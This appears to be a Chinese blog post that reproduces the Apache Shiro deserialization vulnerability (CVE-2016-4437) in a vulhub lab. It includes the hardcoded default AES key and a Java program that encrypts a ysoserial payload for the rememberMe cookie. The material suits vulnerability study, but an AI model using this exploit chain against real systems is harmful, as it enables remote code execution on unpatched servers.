Shiro认证绕过漏洞和反序列化漏洞复现

最新推荐文章于 2024-04-15 23:25:48 发布

浩子一定能劈叉

最新推荐文章于 2024-04-15 23:25:48 发布

阅读量514

点赞数 12

文章标签：安全

本文链接：https://blog.csdn.net/qq_54521398/article/details/135233397

版权

Apache Shiro 1.2.4反序列化漏洞（CVE-2016-4437）

shiro550：由于采用硬编码加密，算法可知，导致过程可逆，从而引发反序列化漏洞

shiro721：硬编码的问题解决了，但是rememberMe字段又出问题了。当用户勾选rememberMeCookie时，系统会将RememberMe cookie字段序列化，进行AES加密，然后进行BASE64编码，那么攻击者就可以按照这个步骤构造payload，从而导致了反序列化漏洞

复现

这是没勾选Remember me的抓包流量

这是勾选后的抓包数据，可以看到有一个rememberme的cookie值，就是这个位置来放置payload

用ysoserial生成一条序列化的命令，然后将其AES加密，BASE64编码

下面是shiro内置的密钥

package org.vulhub.shirodemo;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

payload生成好之后，放到rememberMe的cookie位置把原来的那一串替换掉就好啦